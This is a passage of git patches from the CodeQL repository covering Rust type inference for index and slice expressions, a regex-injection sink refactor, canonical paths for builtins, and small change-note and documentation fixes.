exists(AstNode n, TypePath path, Type t | t = TypeInference::inferType(n, path) and location = n.getLocation() and - element = n.toString() and if path.isEmpty() then value = element + ":" + t else value = element + ":" + path.toString() + "." + t.toString() + | + element = n.toString() + or + element = n.(IdentPat).getName().getText() ) } } From 133aca07736f39fa7f61d3f7ddd94eae84df2436 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 3 Jun 2025 19:02:13 +0200 Subject: [PATCH 258/271] Rust: Simple type inference for index expressions --- rust/ql/lib/codeql/rust/internal/Type.qll | 45 ++++++++++++++- .../codeql/rust/internal/TypeInference.qll | 56 ++++++++++++++++++- .../lib/codeql/rust/internal/TypeMention.qll | 6 ++ .../test/library-tests/type-inference/main.rs | 6 +- .../type-inference/type-inference.expected | 25 +++++++++ 5 files changed, 132 insertions(+), 6 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index a88bc8e344f..47ff0e2dd3f 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -16,10 +16,13 @@ newtype TType = TArrayType() or // todo: add size? TRefType() or // todo: add mut? TImplTraitType(ImplTraitTypeRepr impl) or + TSliceType() or TTypeParamTypeParameter(TypeParam t) or TAssociatedTypeTypeParameter(TypeAlias t) { any(TraitItemNode trait).getAnAssocItem() = t } or + TArrayTypeParameter() or TRefTypeParameter() or - TSelfTypeParameter(Trait t) + TSelfTypeParameter(Trait t) or + TSliceTypeParameter() /** * A type without type arguments. @@ -149,7 +152,8 @@ class ArrayType extends Type, TArrayType { override TupleField getTupleField(int i) { none() } override TypeParameter getTypeParameter(int i) { - none() // todo + result = TArrayTypeParameter() and + i = 0 } override string toString() { result = "[]" } @@ -227,6 +231,29 @@ class ImplTraitReturnType extends ImplTraitType { override Function getFunction() { result = function } } +/** + * A slice type. + * + * Slice types like `[i64]` are modeled as normal generic types + * with a single type argument. + */ +class SliceType extends Type, TSliceType { + SliceType() { this = TSliceType() } + + override StructField getStructField(string name) { none() } + + override TupleField getTupleField(int i) { none() } + + override TypeParameter getTypeParameter(int i) { + result = TSliceTypeParameter() and + i = 0 + } + + override string toString() { result = "[]" } + + override Location getLocation() { result instanceof EmptyLocation } +} + /** A type parameter. */ abstract class TypeParameter extends Type { override StructField getStructField(string name) { none() } @@ -306,6 +333,13 @@ class AssociatedTypeTypeParameter extends TypeParameter, TAssociatedTypeTypePara override Location getLocation() { result = typeAlias.getLocation() } } +/** An implicit array type parameter. */ +class ArrayTypeParameter extends TypeParameter, TArrayTypeParameter { + override string toString() { result = "[T;...]" } + + override Location getLocation() { result instanceof EmptyLocation } +} + /** An implicit reference type parameter. */ class RefTypeParameter extends TypeParameter, TRefTypeParameter { override string toString() { result = "&T" } @@ -313,6 +347,13 @@ class RefTypeParameter extends TypeParameter, TRefTypeParameter { override Location getLocation() { result instanceof EmptyLocation } } +/** An implicit slice type parameter. */ +class SliceTypeParameter extends TypeParameter, TSliceTypeParameter { + override string toString() { result = "[T]" } + + override Location getLocation() { result instanceof EmptyLocation } +} + /** * The implicit `Self` type parameter of a trait, that refers to the * implementing type of the trait. diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index a6151eb62e7..86b8b7983ba 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -80,10 +80,18 @@ private module Input1 implements InputSig1 { int getTypeParameterId(TypeParameter tp) { tp = rank[result](TypeParameter tp0, int kind, int id | - tp0 instanceof RefTypeParameter and + tp0 instanceof ArrayTypeParameter and kind = 0 and id = 0 or + tp0 instanceof RefTypeParameter and + kind = 0 and + id = 1 + or + tp0 instanceof SliceTypeParameter and + kind = 0 and + id = 2 + or kind = 1 and exists(AstNode node | id = idOfTypeParameterAstNode(node) | node = tp0.(TypeParamTypeParameter).getTypeParam() or @@ -1128,6 +1136,50 @@ private Type inferAwaitExprType(AstNode n, TypePath path) { ) } +private class Vec extends Struct { + Vec() { this.getCanonicalPath() = "alloc::vec::Vec" } + + TypeParamTypeParameter getElementTypeParameter() { + result.getTypeParam() = this.getGenericParamList().getTypeParam(0) + } +} + +/** + * According to [the Rust reference][1]: _"array and slice-typed expressions + * can be indexed with a `usize` index ... For other types an index expression + * `a[b]` is equivalent to *std::ops::Index::index(&a, b)"_. + * + * The logic below handles array and slice indexing, but for other types it is + * currently limited to `Vec`. + * + * [1]: https://doc.rust-lang.org/reference/expressions/array-expr.html#r-expr.array.index + */ +pragma[nomagic] +private Type inferIndexExprType(IndexExpr ie, TypePath path) { + // TODO: Should be implemented as method resolution, using the special + // `std::ops::Index` trait. + exists(TypePath exprPath, Builtins::BuiltinType t | + TStruct(t) = inferType(ie.getIndex()) and + ( + // also allow `i32`, since that is currently the type that we infer for + // integer literals like `0` + t instanceof Builtins::I32 + or + t instanceof Builtins::Usize + ) and + result = inferType(ie.getBase(), exprPath) + | + exprPath.isCons(any(Vec v).getElementTypeParameter(), path) + or + exprPath.isCons(any(ArrayTypeParameter tp), path) + or + exists(TypePath path0 | + exprPath.isCons(any(RefTypeParameter tp), path0) and + path0.isCons(any(SliceTypeParameter tp), path) + ) + ) +} + private module MethodCall { /** An expression that calls a method. */ abstract private class MethodCallImpl extends Expr { @@ -1487,6 +1539,8 @@ private module Cached { path.isEmpty() or result = inferAwaitExprType(n, path) + or + result = inferIndexExprType(n, path) } } diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index 32006041334..f14291103c7 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -43,6 +43,12 @@ class RefTypeReprMention extends TypeMention instanceof RefTypeRepr { override Type resolveType() { result = TRefType() } } +class SliceTypeReprMention extends TypeMention instanceof SliceTypeRepr { + override TypeMention getTypeArgument(int i) { result = super.getTypeRepr() and i = 0 } + + override Type resolveType() { result = TSliceType() } +} + class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { Path path; ItemNode resolved; diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 1cec65224bd..b4c4ecdab2c 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1790,16 +1790,16 @@ mod indexers { } fn analyze_slice(slice: &[S]) { - let x = slice[0].foo(); // $ MISSING: method=foo MISSING: type=x:S + let x = slice[0].foo(); // $ method=foo type=x:S } pub fn f() { let mut vec = MyVec::new(); // $ type=vec:T.S vec.push(S); // $ method=push - vec[0].foo(); // $ MISSING: method=foo + vec[0].foo(); // $ MISSING: method=foo -- type inference does not support the `Index` trait yet let xs: [S; 1] = [S]; - let x = xs[0].foo(); // $ MISSING: method=foo MISSING: type=x:S + let x = xs[0].foo(); // $ method=foo type=x:S analyze_slice(&xs); } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index bac5761b686..4d4c3e92311 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -2561,7 +2561,14 @@ inferType | main.rs:1788:14:1788:29 | ...[index] | | main.rs:1783:10:1783:10 | T | | main.rs:1788:24:1788:28 | index | | {EXTERNAL LOCATION} | usize | | main.rs:1792:22:1792:26 | slice | | file://:0:0:0:0 | & | +| main.rs:1792:22:1792:26 | slice | &T | file://:0:0:0:0 | [] | +| main.rs:1792:22:1792:26 | slice | &T.[T] | main.rs:1759:5:1760:13 | S | +| main.rs:1793:13:1793:13 | x | | main.rs:1759:5:1760:13 | S | | main.rs:1793:17:1793:21 | slice | | file://:0:0:0:0 | & | +| main.rs:1793:17:1793:21 | slice | &T | file://:0:0:0:0 | [] | +| main.rs:1793:17:1793:21 | slice | &T.[T] | main.rs:1759:5:1760:13 | S | +| main.rs:1793:17:1793:24 | slice[0] | | main.rs:1759:5:1760:13 | S | +| main.rs:1793:17:1793:30 | ... .foo() | | main.rs:1759:5:1760:13 | S | | main.rs:1793:23:1793:23 | 0 | | {EXTERNAL LOCATION} | i32 | | main.rs:1797:13:1797:19 | mut vec | | main.rs:1768:5:1771:5 | MyVec | | main.rs:1797:13:1797:19 | mut vec | T | main.rs:1759:5:1760:13 | S | @@ -2574,14 +2581,32 @@ inferType | main.rs:1799:9:1799:11 | vec | T | main.rs:1759:5:1760:13 | S | | main.rs:1799:13:1799:13 | 0 | | {EXTERNAL LOCATION} | i32 | | main.rs:1801:13:1801:14 | xs | | file://:0:0:0:0 | [] | +| main.rs:1801:13:1801:14 | xs | | file://:0:0:0:0 | [] | +| main.rs:1801:13:1801:14 | xs | [T;...] | main.rs:1759:5:1760:13 | S | +| main.rs:1801:13:1801:14 | xs | [T] | main.rs:1759:5:1760:13 | S | | main.rs:1801:21:1801:21 | 1 | | {EXTERNAL LOCATION} | i32 | | main.rs:1801:26:1801:28 | [...] | | file://:0:0:0:0 | [] | +| main.rs:1801:26:1801:28 | [...] | | file://:0:0:0:0 | [] | +| main.rs:1801:26:1801:28 | [...] | [T;...] | main.rs:1759:5:1760:13 | S | +| main.rs:1801:26:1801:28 | [...] | [T] | main.rs:1759:5:1760:13 | S | | main.rs:1801:27:1801:27 | S | | main.rs:1759:5:1760:13 | S | +| main.rs:1802:13:1802:13 | x | | main.rs:1759:5:1760:13 | S | | main.rs:1802:17:1802:18 | xs | | file://:0:0:0:0 | [] | +| main.rs:1802:17:1802:18 | xs | | file://:0:0:0:0 | [] | +| main.rs:1802:17:1802:18 | xs | [T;...] | main.rs:1759:5:1760:13 | S | +| main.rs:1802:17:1802:18 | xs | [T] | main.rs:1759:5:1760:13 | S | +| main.rs:1802:17:1802:21 | xs[0] | | main.rs:1759:5:1760:13 | S | +| main.rs:1802:17:1802:27 | ... .foo() | | main.rs:1759:5:1760:13 | S | | main.rs:1802:20:1802:20 | 0 | | {EXTERNAL LOCATION} | i32 | | main.rs:1804:23:1804:25 | &xs | | file://:0:0:0:0 | & | | main.rs:1804:23:1804:25 | &xs | &T | file://:0:0:0:0 | [] | +| main.rs:1804:23:1804:25 | &xs | &T | file://:0:0:0:0 | [] | +| main.rs:1804:23:1804:25 | &xs | &T.[T;...] | main.rs:1759:5:1760:13 | S | +| main.rs:1804:23:1804:25 | &xs | &T.[T] | main.rs:1759:5:1760:13 | S | | main.rs:1804:24:1804:25 | xs | | file://:0:0:0:0 | [] | +| main.rs:1804:24:1804:25 | xs | | file://:0:0:0:0 | [] | +| main.rs:1804:24:1804:25 | xs | [T;...] | main.rs:1759:5:1760:13 | S | +| main.rs:1804:24:1804:25 | xs | [T] | main.rs:1759:5:1760:13 | S | | main.rs:1810:5:1810:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1811:5:1811:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1811:20:1811:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | From 18392a07ceb8492f81c421d7806e32529537d7da Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 11 Jun 2025 14:13:27 +0200 Subject: [PATCH 259/271] Rust: Also apply `adjustedAccessType` in `RelevantAccess` --- .../test/library-tests/type-inference/main.rs | 2 +- .../type-inference/type-inference.expected | 3 +++ .../typeinference/internal/TypeInference.qll | 20 ++++++++++--------- 3 files changed, 15 insertions(+), 10 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 497bf331e51..929a32026da 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -697,7 +697,7 @@ mod trait_associated_type { println!("{:?}", x3.put(1).unwrap()); // $ method=S::put method=unwrap // Call to default implementation in `trait` block - println!("{:?}", x3.putTwo(2, 3).unwrap()); // $ method=putTwo MISSING: method=unwrap + println!("{:?}", x3.putTwo(2, 3).unwrap()); // $ method=putTwo method=unwrap let x4 = g(S); // $ MISSING: type=x4:AT println!("{:?}", x4); diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 30672ca89e5..f48207dfa82 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -778,6 +778,9 @@ inferType | main.rs:697:33:697:33 | 1 | | {EXTERNAL LOCATION} | i32 | | main.rs:700:18:700:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:700:26:700:27 | x3 | | main.rs:619:5:620:13 | S | +| main.rs:700:26:700:40 | x3.putTwo(...) | | main.rs:568:5:571:5 | Wrapper | +| main.rs:700:26:700:40 | x3.putTwo(...) | A | main.rs:639:36:639:50 | AssociatedParam | +| main.rs:700:26:700:49 | ... .unwrap() | | main.rs:639:36:639:50 | AssociatedParam | | main.rs:700:36:700:36 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:700:39:700:39 | 3 | | {EXTERNAL LOCATION} | i32 | | main.rs:702:20:702:20 | S | | main.rs:619:5:620:13 | S | diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 823459e83bb..b9948ffbd29 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -985,17 +985,18 @@ module Make1 Input1> { private module AccessConstraint { predicate relevantAccessConstraint( - Access a, AccessPosition apos, TypePath path, Type constraint + Access a, Declaration target, AccessPosition apos, TypePath path, Type constraint ) { exists(DeclarationPosition dpos | accessDeclarationPositionMatch(apos, dpos) and - typeParameterConstraintHasTypeParameter(a.getTarget(), dpos, path, _, constraint, _, _) + target = a.getTarget() and + typeParameterConstraintHasTypeParameter(target, dpos, path, _, constraint, _, _) ) } private newtype TRelevantAccess = - MkRelevantAccess(Access a, AccessPosition apos, TypePath path) { - relevantAccessConstraint(a, apos, path, _) + MkRelevantAccess(Access a, Declaration target, AccessPosition apos, TypePath path) { + relevantAccessConstraint(a, target, apos, path, _) } /** @@ -1004,19 +1005,20 @@ module Make1 Input1> { */ private class RelevantAccess extends MkRelevantAccess { Access a; + Declaration target; AccessPosition apos; TypePath path; - RelevantAccess() { this = MkRelevantAccess(a, apos, path) } + RelevantAccess() { this = MkRelevantAccess(a, target, apos, path) } Type getTypeAt(TypePath suffix) { - a.getInferredType(apos, path.appendInverse(suffix)) = result + adjustedAccessType(a, apos, target, path.appendInverse(suffix), result) } /** Holds if this relevant access has the type `type` and should satisfy `constraint`. */ predicate hasTypeConstraint(Type type, Type constraint) { - type = a.getInferredType(apos, path) and - relevantAccessConstraint(a, apos, path, constraint) + adjustedAccessType(a, apos, target, path, type) and + relevantAccessConstraint(a, target, apos, path, constraint) } string toString() { @@ -1076,7 +1078,7 @@ module Make1 Input1> { TypeAbstraction abs, TypeMention sub, TypePath path, Type t ) { exists(TypeMention constraintMention | - at = MkRelevantAccess(a, apos, prefix) and + at = MkRelevantAccess(a, _, apos, prefix) and hasConstraintMention(at, abs, sub, constraint, constraintMention) and conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, path, t) ) From 0c05fa48eb7b48f3c6757999089a0972b9c3abe7 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 11 Jun 2025 14:15:25 +0100 Subject: [PATCH 260/271] Rust: Update RegexInjectionExtensions to use getCanonicalPath. --- .../rust/security/regex/RegexInjectionExtensions.qll | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll b/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll index 4daff543b98..61d26f2f938 100644 --- a/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll @@ -53,11 +53,10 @@ module RegexInjection { */ private class NewSink extends Sink { NewSink() { - exists(CallExprCfgNode call, PathExpr path | - path = call.getFunction().getExpr() and - path.getResolvedCrateOrigin() = "repo:https://github.com/rust-lang/regex:regex" and - path.getResolvedPath() = "::new" and - this.asExpr() = call.getArgument(0) and + exists(CallExprBase call, Addressable a | + call.getStaticTarget() = a and + a.getCanonicalPath() = "::new" and + this.asExpr().getExpr() = call.getArg(0) and not this.asExpr() instanceof LiteralExprCfgNode ) } From f915984b016ddfe880450a1d903ac7b7b7d5082a Mon Sep 17 00:00:00 2001 From: Ana Scolari <127357173+apsscolari@users.noreply.github.com> Date: Wed, 11 Jun 2025 08:55:34 -0700 Subject: [PATCH 261/271] Update java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- ...-precision-for-building-cmdline-with-string-concatenation.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md b/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md index fe79304526d..a96a648e8ec 100644 --- a/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md +++ b/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md @@ -1,3 +1,3 @@ category: queryMetadata --- -* Adjusts the `@precision` from high to medium for `java/concatenated-command-line` because it is producing false positive alerts when the concatenated strings are harded coded. +* Adjusts the `@precision` from high to medium for `java/concatenated-command-line` because it is producing false positive alerts when the concatenated strings are hard-coded. From b84f9d6c3c9755725d72907f7a80d67a1528d854 Mon Sep 17 00:00:00 2001 From: Ana Scolari <127357173+apsscolari@users.noreply.github.com> Date: Wed, 11 Jun 2025 08:55:45 -0700 Subject: [PATCH 262/271] Update java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md Co-authored-by: Owen Mansel-Chan <62447351+owen-mc@users.noreply.github.com> --- ...e-precision-for-building-cmdline-with-string-concatenation.md | 1 + 1 file changed, 1 insertion(+) diff --git a/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md b/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md index a96a648e8ec..392e1965def 100644 --- a/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md +++ b/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md @@ -1,3 +1,4 @@ +--- category: queryMetadata --- * Adjusts the `@precision` from high to medium for `java/concatenated-command-line` because it is producing false positive alerts when the concatenated strings are hard-coded. From 69e549f40094be05b24119d7662a1701cb59b912 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 11 Jun 2025 15:11:23 +0200 Subject: [PATCH 263/271] Rust: Generate canonical paths for builtins --- .../ql/lib/codeql/rust/internal/PathResolution.qll | 3 +++ .../canonical_path/canonical_paths.expected | 1 + .../canonical_path/canonical_paths.ql | 14 +++++++++++++- .../canonical_path/canonical_paths.qlref | 2 ++ .../canonical_paths.expected | 1 + .../canonical_path_disabled/canonical_paths.qlref | 3 ++- 6 files changed, 22 insertions(+), 2 deletions(-) create mode 100644 rust/ql/test/extractor-tests/canonical_path/canonical_paths.qlref diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 5e8c991a582..8c6ba765ba3 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -374,6 +374,9 @@ class CrateItemNode extends ItemNode instanceof Crate { not file = child.(SourceFileItemNode).getSuper() and file = super.getSourceFile() ) + or + this.getName() = "core" and + child instanceof Builtins::BuiltinType } override string getCanonicalPath(Crate c) { c = this and result = Crate.super.getName() } diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected index 69ea1bb7b0e..0376d52b26e 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected @@ -1,6 +1,7 @@ canonicalPath | anonymous.rs:3:1:32:1 | fn canonicals | test::anonymous::canonicals | | anonymous.rs:34:1:36:1 | fn other | test::anonymous::other | +| {EXTERNAL LOCATION} | fn trim | ::trim | | lib.rs:1:1:1:14 | mod anonymous | test::anonymous | | lib.rs:2:1:2:12 | mod regular | test::regular | | regular.rs:1:1:2:18 | struct Struct | test::regular::Struct | diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql index 16aa82eee21..b4ef7f1d86d 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql @@ -1,8 +1,20 @@ import rust import TestUtils +private import codeql.rust.internal.PathResolution +private import codeql.rust.frameworks.stdlib.Bultins query predicate canonicalPath(Addressable a, string path) { - toBeTested(a) and + ( + toBeTested(a) + or + // test that we also generate canonical paths for builtins + a = + any(ImplItemNode i | + i.resolveSelfTy() instanceof Str and + not i.(Impl).hasTrait() + ).getAnAssocItem() and + a.(Function).getName().getText() = "trim" + ) and path = a.getCanonicalPath(_) } diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.qlref b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.qlref new file mode 100644 index 00000000000..c65650adf9a --- /dev/null +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.qlref @@ -0,0 +1,2 @@ +query: canonical_paths.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected index 2605a806f6f..21564515385 100644 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected @@ -1,6 +1,7 @@ canonicalPath | anonymous.rs:6:1:35:1 | fn canonicals | test::anonymous::canonicals | | anonymous.rs:37:1:39:1 | fn other | test::anonymous::other | +| {EXTERNAL LOCATION} | fn trim | ::trim | | lib.rs:1:1:1:14 | mod anonymous | test::anonymous | | lib.rs:2:1:2:12 | mod regular | test::regular | | regular.rs:4:1:5:18 | struct Struct | test::regular::Struct | diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref index f40a74f5aed..9a5712b5135 100644 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref +++ b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref @@ -1 +1,2 @@ -extractor-tests/canonical_path/canonical_paths.ql +query: extractor-tests/canonical_path/canonical_paths.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file From 8f55dcdd6789db9bdb9c1fbaf9f292dd5224d439 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Wed, 11 Jun 2025 15:36:30 -0500 Subject: [PATCH 264/271] removing brackets around a url --- go/ql/src/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md index b711743ccc9..515fbad7adf 100644 --- a/go/ql/src/CHANGELOG.md +++ b/go/ql/src/CHANGELOG.md @@ -2,7 +2,7 @@ ### New Queries -* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in https://github.com/github/codeql-go/pull/493. ## 1.2.1 From 0135cf661f7953852daea2c4313b3ac715e7a45d Mon Sep 17 00:00:00 2001 From: Chad Bentz <1760475+felickz@users.noreply.github.com> Date: Wed, 11 Jun 2025 13:06:48 -0400 Subject: [PATCH 265/271] Attempt to edit swift change notes for CI failure --- ...2025-06-06-reduce-CWE-134-for-memory-safe-languages.md | 8 ++++---- ...2025-06-06-reduce-CWE-134-for-memory-safe-languages.md | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md b/java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md index 0aadb06a32b..6ab4beb7290 100644 --- a/java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md +++ b/java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md @@ -1,4 +1,4 @@ ---- -category: queryMetadata ---- -* Adjusts the `@security-severity` from 9.3 to 7.3 for `java/tainted-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact. +--- +category: queryMetadata +--- +* Adjusts the `@security-severity` from 9.3 to 7.3 for `java/tainted-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact. diff --git a/swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md b/swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md index 799093d0b39..43be14dc8eb 100644 --- a/swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md +++ b/swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md @@ -1,4 +1,4 @@ ---- -category: queryMetadata ---- -* Adjusts the `@security-severity` from 9.3 to 7.3 for `swift/uncontrolled-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact. +--- +category: queryMetadata +--- +* Adjusts the `@security-severity` from 9.3 to 7.3 for `swift/uncontrolled-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact. \ No newline at end of file From 6336e3d44b26c46b1af1b27fb8efce5e15fa15d7 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Wed, 11 Jun 2025 16:02:28 -0500 Subject: [PATCH 266/271] fixing another bracket --- go/ql/src/change-notes/released/1.3.0.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/go/ql/src/change-notes/released/1.3.0.md b/go/ql/src/change-notes/released/1.3.0.md index fe0c5a7af3c..84afeabc50d 100644 --- a/go/ql/src/change-notes/released/1.3.0.md +++ b/go/ql/src/change-notes/released/1.3.0.md @@ -2,4 +2,4 @@ ### New Queries -* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in https://github.com/github/codeql-go/pull/493. From 62e17c108c047b69bf6961e2bfb057ceca3c08eb Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Wed, 11 Jun 2025 16:55:14 -0500 Subject: [PATCH 267/271] RST sitedocs for 2.22.0 --- .../codeql-changelog/codeql-cli-2.19.4.rst | 2 +- .../codeql-changelog/codeql-cli-2.20.4.rst | 6 +- .../codeql-changelog/codeql-cli-2.21.0.rst | 2 +- .../codeql-changelog/codeql-cli-2.22.0.rst | 82 +++++++++++++++++++ .../codeql-changelog/index.rst | 1 + 5 files changed, 88 insertions(+), 5 deletions(-) create mode 100644 docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.22.0.rst diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst index 754b6d2c4da..9235d63fe2c 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst @@ -79,4 +79,4 @@ JavaScript/TypeScript * Added taint-steps for :code:`Array.prototype.toReversed`. * Added taint-steps for :code:`Array.prototype.toSorted`. * Added support for :code:`String.prototype.matchAll`. -* Added taint-steps for :code:`Array.prototype.reverse`. +* Added taint-steps for :code:`Array.prototype.reverse`\ diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst index a5c9c4f222f..c3012e020c7 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst @@ -117,8 +117,8 @@ Java/Kotlin * Deleted the deprecated :code:`isLValue` and :code:`isRValue` predicates from the :code:`VarAccess` class, use :code:`isVarWrite` and :code:`isVarRead` respectively instead. * Deleted the deprecated :code:`getRhs` predicate from the :code:`VarWrite` class, use :code:`getASource` instead. * Deleted the deprecated :code:`LValue` and :code:`RValue` classes, use 